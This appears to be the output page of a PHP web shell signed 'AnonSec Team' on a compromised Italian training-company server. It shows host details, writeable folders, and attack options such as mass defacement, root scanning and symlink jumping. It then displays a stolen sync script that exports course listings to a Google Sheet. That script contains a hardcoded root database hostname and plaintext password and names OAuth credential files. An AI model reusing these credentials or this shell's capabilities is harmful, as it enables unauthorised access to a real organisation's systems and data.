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/  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/sync.asciiformazione.it/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/sync.asciiformazione.it//facebook_sync.php
<?php
session_start();
require_once '/var/www/sync.asciiformazione.it/vendor/autoload.php';

define('HOST', 'piattaforma-formazione-apisoft.cqx18uta8i2i.eu-central-1.rds.amazonaws.com'); 
define('USER', 'root'); 
define('PASSWORD', 'qwet324vfsdgweDa21');
define('DATABASE', 'ascii'); 


if (php_sapi_name() != 'cli') {
    throw new Exception('This application must be run on the command line.');
}
//_jo


try {
	$db = new PDO('mysql:host='.HOST.';dbname='.DATABASE, USER, PASSWORD);
	$db->query('SET CHARACTER SET utf8');
	//return $db;
} catch (PDOException $e) {
	print "Errore in fase di connessione al db!<br><br> " . $e->getMessage() . "<br/>";
	die();
}


$fileId = '1A5bLhLzKfApFz7jCDI794fB00FqeJMZevmLVcirAtY8'; // Copy & paste from a spreadsheet URL


function svuotaSpreadsheet($fileId) {
	echo "Svuoto File Google SpreadSheet: https://docs.google.com/spreadsheets/d/1A5bLhLzKfApFz7jCDI794fB00FqeJMZevmLVcirAtY8";
	
	//https://docs.google.com/spreadsheets/d/1A5bLhLzKfApFz7jCDI794fB00FqeJMZevmLVcirAtY8/edit?usp=sharing

	// Set up the API
	// Get the API client and construct the service object.
	$client = getClient();
	$sheet_service = new Google_Service_Sheets($client);

	
	// Build the CellData array
	$values = array();

	//cancello tutte le righe
	$deleteOperation = array(
        'range' => array(
            'sheetId'   => 0, // <======= This mean the very first sheet on worksheet
            'dimension' => 'ROWS',
            'startIndex'=> 1, //Identify the starting point,
            'endIndex'  => (10000) //Identify where to stop when deleting
        )
    );
	$deletable_row[] = new Google_Service_Sheets_Request(
        array('deleteDimension' =>  $deleteOperation)
    );
    $delete_body    = new Google_Service_Sheets_BatchUpdateSpreadsheetRequest(array(
                        'requests' => $deletable_row
                    )
                );
	
	
	try {
		// Execute the request
		$result_delete_op = $sheet_service->spreadsheets->batchUpdate($fileId, $delete_body);
		if( $result_delete_op->valid() ) {
			// Success, the row has been added
			echo "\nCancellazione righe in corso...";
		}
	} catch (Exception $e) {
		// Something went wrong
		error_log($e->getMessage());
	}


}

//svuoto file

svuotaSpreadsheet($fileId);
//index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id
//CONCAT ("https://www.portobelloemotion.it/shop/it/component/virtuemart/", jo_virtuemart_products_it_it.slug, "-", prod.virtuemart_product_id) as link,

$query = 'SELECT  
idcorso as id,
titolo as title,
CONCAT( REPLACE(  CAST(ROUND (prezzo,2)  AS CHAR),"." , ",") , " EUR") as price,
corso.descrizione as description,				
CONCAT ("https://www.asciiformazione.it/offerta-formativa/", categoria.slug, "/", corso.slug) as link,
categoria.logo as image_link,
"100" as quantity_to_sell_on_facebook,
"in stock" as availability,
"new" as `condition`,
"ASCII Formazione" as `brand`,
corso.caratteristiche,
categoria.idpadre,
corso.tipologia,
categoria.nomecategoria as google_product_category,
categoria.nomecategoria as fb_product_category
FROM corso 
JOIN appartenenza USING(idcorso)
JOIN categoria USING(idcategoria)
WHERE corso.web = 1 AND corso.attivo = 1;';

$i=0;
$isFirst = true;
$in_arr = [];

$da_inserire = [];
foreach($db->query($query) as $prodotto){

	if (in_array($prodotto['id'], $in_arr)) {
	    continue;
	}
	$in_arr[] = $prodotto['id'];
	$toUpload = [];
	
	
	$toUpload['id'] = $prodotto['id'];
	if($prodotto['tipologia']){
		$toUpload['title'] = "Certificazione ".$prodotto['title'];
	}else{
		$toUpload['title'] = "Corso " .$prodotto['title'];
	}
	$toUpload['description'] = $prodotto['description'];
	if(trim($prodotto['description'])==""){
		if(trim($prodotto['caratteristiche'])!=""){
			$toUpload['description'] = $prodotto['caratteristiche'];
		}else{
			$toUpload['description'] = $toUpload['title'];	
		}

		
	}
	$toUpload['availability'] = $prodotto['availability'];
	$toUpload['condition'] = $prodotto['condition'];
	$toUpload['price'] = $prodotto['price'];
	$toUpload['link'] = $prodotto['link'];
	$toUpload['image_link'] = $prodotto['image_link'];
	if(trim($prodotto['image_link'])==""){
		$toUpload['image_link'] = "https://www.asciiformazione.it/wp-content/uploads/2020/04/ASCII-logo-vettoriale-300x194.jpg";
	}
	$toUpload['quantity_to_sell_on_facebook'] =$prodotto['quantity_to_sell_on_facebook']; 
	$toUpload['brand'] = $prodotto['brand'];
	
	$toUpload['google_product_category'] = $prodotto['google_product_category'];
	$toUpload['fb_product_category'] = $prodotto['fb_product_category'];
	

	if($prodotto['idpadre']>0){
		$q = "SELECT * FROM categoria WHERE idcategoria = " . $prodotto['idpadre'] ." LIMIT 1";
		foreach($db->query($q) as $padre_cat){
			
			$toUpload['google_product_category'] = $padre_cat['nomecategoria'] . " > ". $prodotto['google_product_category'];
			$toUpload['fb_product_category'] = $padre_cat['nomecategoria'] . " > ". $prodotto['fb_product_category'];
		}
	}


	
	echo $i;
	$i++;
	
	$da_inserire[]=$toUpload;

	if($i%100==0){
		addRowToSpreadsheet($da_inserire, $fileId);
		$da_inserire=[];
	}
	// if($i>10){
	// 	addRowToSpreadsheet($da_inserire, $fileId);
	// 	$da_inserire=[];
	// 	break;
	// }
   
}

addRowToSpreadsheet($da_inserire, $fileId);

echo "Totale Prodotti:".$i;

function getClient()
{
    $client = new Google_Client();
    $client->setApplicationName('Ascii Formazione Sync Facebook');
    $client->setScopes(Google_Service_Sheets::SPREADSHEETS);
    $client->setAuthConfig('/var/www/sync.asciiformazione.it/client_secret.json');
    $client->setAccessType('offline');
    $client->setPrompt('select_account consent');

    // Load previously authorized token from a file, if it exists.
    $tokenPath = '/var/www/sync.asciiformazione.it/token.json';
    if (file_exists($tokenPath)) {
        $accessToken = json_decode(file_get_contents($tokenPath), true);
        $client->setAccessToken($accessToken);
    }

    // If there is no previous token or it's expired.
    if ($client->isAccessTokenExpired()) {
        // Refresh the token if possible, else fetch a new one.
        if ($client->getRefreshToken()) {
            $client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());
        } else {
            // Request authorization from the user.
            $authUrl = $client->createAuthUrl();
            printf("Open the following link in your browser:\n%s\n", $authUrl);
            print 'Enter verification code: ';
            $authCode = trim(fgets(STDIN));

            // Exchange authorization code for an access token.
            $accessToken = $client->fetchAccessTokenWithAuthCode($authCode);
            $client->setAccessToken($accessToken);

            // Check to see if there was an error.
            if (array_key_exists('error', $accessToken)) {
                throw new Exception(join(', ', $accessToken));
            }
        }
        // Save the token to a file.
        if (!file_exists(dirname($tokenPath))) {
            mkdir(dirname($tokenPath), 0700, true);
        }
        file_put_contents($tokenPath, json_encode($client->getAccessToken()));
    }
    return $client;
}



function addRowToSpreadsheet($ary_values = array(), $fileId) {
	echo "\nAggiunta ". count($ary_values) ." prodotti in corso";
	//print_r($ary_values);
		

	// Set up the API
	// Get the API client and construct the service object.
	$client = getClient();
	$sheet_service = new Google_Service_Sheets($client);

	//https://docs.google.com/spreadsheets/d/1IZRWYRTTovxCoOFtDqFVqjcc6A86y9ytYcXYA-rUl3A/edit#gid=0
	// Set the sheet ID
	
	$requests = array();
	foreach( $ary_values AS $akey => $array_val ) {
		// Build the CellData array
		$values = array();	
		foreach( $array_val AS $d ) {
			//echo "val:$d\n";
			$cellData = new Google_Service_Sheets_CellData();
			$value = new Google_Service_Sheets_ExtendedValue();
			$value->setStringValue($d);
			$cellData->setUserEnteredValue($value);
			$values[] = $cellData;
		}

		// Build the RowData
		$rowData = new Google_Service_Sheets_RowData();
		$rowData->setValues($values);
		// Prepare the request
		$append_request = new Google_Service_Sheets_AppendCellsRequest();
		$append_request->setSheetId(0);
		$append_request->setRows($rowData);
		$append_request->setFields('userEnteredValue');

		// Set the request
		$request = new Google_Service_Sheets_Request();
		$request->setAppendCells($append_request);
		// Add the request to the requests array
		$requests[] = $request;
	}
		
	if(count($requests)){
		echo "\nTotale richieste da inviare: ".count($requests)."\n";



		// Prepare the update
		$batchUpdateRequest = new Google_Service_Sheets_BatchUpdateSpreadsheetRequest(array(
			'requests' => $requests
		));
		
		try {
			// Execute the request
			$response = $sheet_service->spreadsheets->batchUpdate($fileId, $batchUpdateRequest);
			if( $response->valid() ) {
				// Success, the row has been added
				return true;
			}
		} catch (Exception $e) {
			// Something went wrong
			echo "errore in fase di inserimento";
			error_log($e->getMessage());
		}
	
	}
}




?>

Anon7 - 2022
AnonSec Team